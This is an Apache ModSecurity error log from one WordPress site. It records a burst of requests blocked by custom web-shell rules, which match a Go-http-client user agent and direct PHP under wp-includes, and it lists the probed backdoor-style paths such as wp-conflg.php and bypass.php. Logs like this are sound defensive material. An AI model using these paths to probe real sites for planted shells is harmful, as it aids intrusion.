[Sun Nov 23 08:58:46.939930 2025] [:error] [pid 44652:tid 44710] [client 85.203.21.183:54431] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "aSJcRtiQFwsyXQDhwyAOTwAAAQQ"]
[Sun Nov 23 08:58:47.165458 2025] [:error] [pid 38824:tid 38833] [client 85.203.21.183:60967] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aSJcR08WZjXLvbHTHPcNdAAAAMY"]
[Sun Nov 23 08:58:47.483837 2025] [:error] [pid 38740:tid 38797] [client 85.203.21.57:55597] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/admin.php"] [unique_id "aSJcRw13QPZSi6O8umXcmQAAAIE"]
[Sun Nov 23 08:58:47.712269 2025] [:error] [pid 38740:tid 38798] [client 85.203.21.58:47295] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSJcRw13QPZSi6O8umXcmwAAAII"]
[Sun Nov 23 08:58:47.954954 2025] [:error] [pid 38740:tid 38818] [client 85.203.21.184:41647] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSJcRw13QPZSi6O8umXcnAAAAJY"]
[Sun Nov 23 08:58:48.212453 2025] [:error] [pid 38824:tid 38841] [client 85.203.21.217:25445] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/chosen/function.php"] [unique_id "aSJcSE8WZjXLvbHTHPcNeAAAAM4"]
[Sun Nov 23 08:58:49.454592 2025] [:error] [pid 38738:tid 38746] [client 85.203.21.226:51253] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/"] [unique_id "aSJcSQytc6TL9XavPmMbbQAAAAQ"]
[Sun Nov 23 08:58:49.781307 2025] [:error] [pid 38740:tid 38799] [client 85.203.21.195:37309] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "aSJcSQ13QPZSi6O8umXcnQAAAIM"]
[Sun Nov 23 08:58:49.973539 2025] [:error] [pid 38740:tid 38805] [client 85.203.21.172:62473] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aSJcSQ13QPZSi6O8umXcngAAAIk"]
[Sun Nov 23 08:58:50.255409 2025] [:error] [pid 38738:tid 38750] [client 85.203.21.172:52257] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aSJcSgytc6TL9XavPmMbcQAAAAg"]
[Sun Nov 23 08:58:50.474811 2025] [:error] [pid 38824:tid 38839] [client 85.203.21.190:55993] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aSJcSk8WZjXLvbHTHPcNfAAAAMw"]
[Sun Nov 23 08:58:50.724489 2025] [:error] [pid 38824:tid 38847] [client 85.203.21.41:62689] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aSJcSk8WZjXLvbHTHPcNfQAAANQ"]
[Sun Nov 23 08:58:50.972317 2025] [:error] [pid 38824:tid 38845] [client 85.203.21.210:25373] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aSJcSk8WZjXLvbHTHPcNfgAAANI"]
[Sun Nov 23 08:58:51.159265 2025] [:error] [pid 38738:tid 38760] [client 85.203.21.164:40261] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/options.php"] [unique_id "aSJcSwytc6TL9XavPmMbcwAAABI"]
[Sun Nov 23 08:58:51.354422 2025] [:error] [pid 38740:tid 38817] [client 85.203.21.228:28701] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aSJcSw13QPZSi6O8umXcoAAAAJU"]
[Sun Nov 23 08:58:51.679855 2025] [:error] [pid 44652:tid 44722] [client 85.203.21.217:22615] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSJcS9iQFwsyXQDhwyAOVQAAARA"]
[Sun Nov 23 08:58:51.901385 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.235:21597] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aSJcSwdvEgJm2n2cDmplJgAAAEk"]
[Sun Nov 23 08:58:52.106217 2025] [:error] [pid 38740:tid 38802] [client 85.203.21.164:39905] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/"] [unique_id "aSJcTA13QPZSi6O8umXcoQAAAIY"]
[Sun Nov 23 08:58:52.457215 2025] [:error] [pid 38824:tid 38850] [client 85.203.21.57:49365] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aSJcTE8WZjXLvbHTHPcNggAAANc"]
[Sun Nov 23 08:58:52.669660 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.58:24211] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSJcTAdvEgJm2n2cDmplJwAAAEQ"]
[Sun Nov 23 08:58:52.918261 2025] [:error] [pid 38739:tid 38779] [client 85.203.21.54:48811] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/privacy-tools.min.php"] [unique_id "aSJcTAdvEgJm2n2cDmplKAAAAEo"]
[Sun Nov 23 08:58:53.106445 2025] [:error] [pid 38740:tid 38797] [client 85.203.21.45:24501] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aSJcTQ13QPZSi6O8umXcogAAAIE"]
[Sun Nov 23 08:58:53.380595 2025] [:error] [pid 44652:tid 44723] [client 85.203.21.161:28349] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aSJcTdiQFwsyXQDhwyAOVwAAARE"]
[Sun Nov 23 08:58:53.726975 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.155:38235] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aSJcTQdvEgJm2n2cDmplKgAAAEg"]
[Sun Nov 23 08:58:59.062461 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.217:32047] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/components/"] [unique_id "aSJcUwdvEgJm2n2cDmplMwAAAEQ"]
[Sun Nov 23 08:58:59.270283 2025] [:error] [pid 38738:tid 38761] [client 85.203.21.201:25731] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/function.php"] [unique_id "aSJcUwytc6TL9XavPmMbfgAAABM"]
[Sun Nov 23 08:58:59.880312 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.188:32397] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aSJcUwdvEgJm2n2cDmplOAAAAEg"]
[Sun Nov 23 08:59:00.133072 2025] [:error] [pid 38739:tid 38787] [client 85.203.21.176:23651] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-header.php"] [unique_id "aSJcVAdvEgJm2n2cDmplOQAAAFI"]
[Sun Nov 23 08:59:00.369865 2025] [:error] [pid 38740:tid 38816] [client 85.203.21.162:50761] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/index2.php"] [unique_id "aSJcVA13QPZSi6O8umXcqgAAAJQ"]
[Sun Nov 23 08:59:00.595928 2025] [:error] [pid 38740:tid 38807] [client 85.203.21.176:50079] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSJcVA13QPZSi6O8umXcrAAAAIs"]
[Sun Nov 23 08:59:00.854678 2025] [:error] [pid 38738:tid 38745] [client 85.203.21.156:33133] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-author-name/"] [unique_id "aSJcVAytc6TL9XavPmMbggAAAAM"]
[Sun Nov 23 08:59:01.151238 2025] [:error] [pid 38738:tid 38746] [client 85.203.21.155:53759] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aSJcVQytc6TL9XavPmMbgwAAAAQ"]
[Sun Nov 23 08:59:01.438387 2025] [:error] [pid 38824:tid 38847] [client 193.37.32.3:45131] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/"] [unique_id "aSJcVU8WZjXLvbHTHPcNigAAANQ"]
[Sun Nov 23 08:59:01.766947 2025] [:error] [pid 38739:tid 38771] [client 85.203.21.178:25083] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/admin-ajax.php"] [unique_id "aSJcVQdvEgJm2n2cDmplPgAAAEI"]
[Sun Nov 23 08:59:02.203607 2025] [:error] [pid 38739:tid 38784] [client 85.203.21.164:53595] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aSJcVgdvEgJm2n2cDmplPwAAAE8"]
[Sun Nov 23 08:59:02.387808 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.226:60687] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aSJcVgdvEgJm2n2cDmplQQAAAEg"]
[Sun Nov 23 08:59:02.588869 2025] [:error] [pid 38740:tid 38809] [client 85.203.21.57:27801] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/buy.php"] [unique_id "aSJcVg13QPZSi6O8umXcrgAAAI0"]
[Sun Nov 23 08:59:02.830881 2025] [:error] [pid 38739:tid 38785] [client 85.203.21.188:26467] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aSJcVgdvEgJm2n2cDmplQgAAAFA"]
[Sun Nov 23 08:59:03.026764 2025] [:error] [pid 38738:tid 38748] [client 85.203.21.178:52387] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aSJcVwytc6TL9XavPmMbiAAAAAY"]
[Sun Nov 23 08:59:03.256841 2025] [:error] [pid 38738:tid 38762] [client 85.203.21.197:53495] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php"] [unique_id "aSJcVwytc6TL9XavPmMbiQAAABQ"]
[Sun Nov 23 08:59:03.527441 2025] [:error] [pid 38739:tid 38782] [client 85.203.21.206:63605] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/chosen.php"] [unique_id "aSJcVwdvEgJm2n2cDmplQwAAAE0"]
[Sun Nov 23 08:59:04.265201 2025] [:error] [pid 38738:tid 38745] [client 85.203.21.221:47495] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/"] [unique_id "aSJcWAytc6TL9XavPmMbjAAAAAM"]
[Sun Nov 23 08:59:04.647846 2025] [:error] [pid 38739:tid 38772] [client 85.203.21.201:54603] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/wp-login.php"] [unique_id "aSJcWAdvEgJm2n2cDmplRQAAAEM"]
[Sun Nov 23 08:59:04.872158 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.228:61503] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSJcWAdvEgJm2n2cDmplSAAAAEk"]
[Sun Nov 23 08:59:05.056299 2025] [:error] [pid 38740:tid 38803] [client 85.203.21.178:47037] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/"] [unique_id "aSJcWQ13QPZSi6O8umXcsgAAAIc"]
[Sun Nov 23 08:59:06.296421 2025] [:error] [pid 44652:tid 44708] [client 85.203.21.168:30345] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/product.php"] [unique_id "aSJcWtiQFwsyXQDhwyAOaQAAAQI"]
[Sun Nov 23 08:59:06.547312 2025] [:error] [pid 38740:tid 38816] [client 85.203.21.176:42701] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "aSJcWg13QPZSi6O8umXctgAAAJQ"]
[Sun Nov 23 08:59:06.737615 2025] [:error] [pid 38824:tid 38827] [client 85.203.21.167:31071] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aSJcWk8WZjXLvbHTHPcNkwAAAMA"]
[Sun Nov 23 08:59:07.067618 2025] [:error] [pid 44652:tid 44725] [client 85.203.21.207:43161] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aSJcW9iQFwsyXQDhwyAOawAAARM"]
[Sun Nov 23 08:59:07.377715 2025] [:error] [pid 38739:tid 38780] [client 85.203.21.176:42199] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aSJcWwdvEgJm2n2cDmplSgAAAEs"]
[Sun Nov 23 08:59:07.622143 2025] [:error] [pid 38739:tid 38781] [client 85.203.21.162:49235] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aSJcWwdvEgJm2n2cDmplTAAAAEw"]
[Sun Nov 23 08:59:07.910899 2025] [:error] [pid 38824:tid 38838] [client 85.203.21.184:31955] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "aSJcW08WZjXLvbHTHPcNlgAAAMs"]
[Sun Nov 23 08:59:08.095857 2025] [:error] [pid 38738:tid 38749] [client 85.203.21.178:32591] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aSJcXAytc6TL9XavPmMbkAAAAAc"]
[Sun Nov 23 08:59:08.335309 2025] [:error] [pid 38824:tid 38849] [client 85.203.21.176:30083] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aSJcXE8WZjXLvbHTHPcNlwAAANY"]
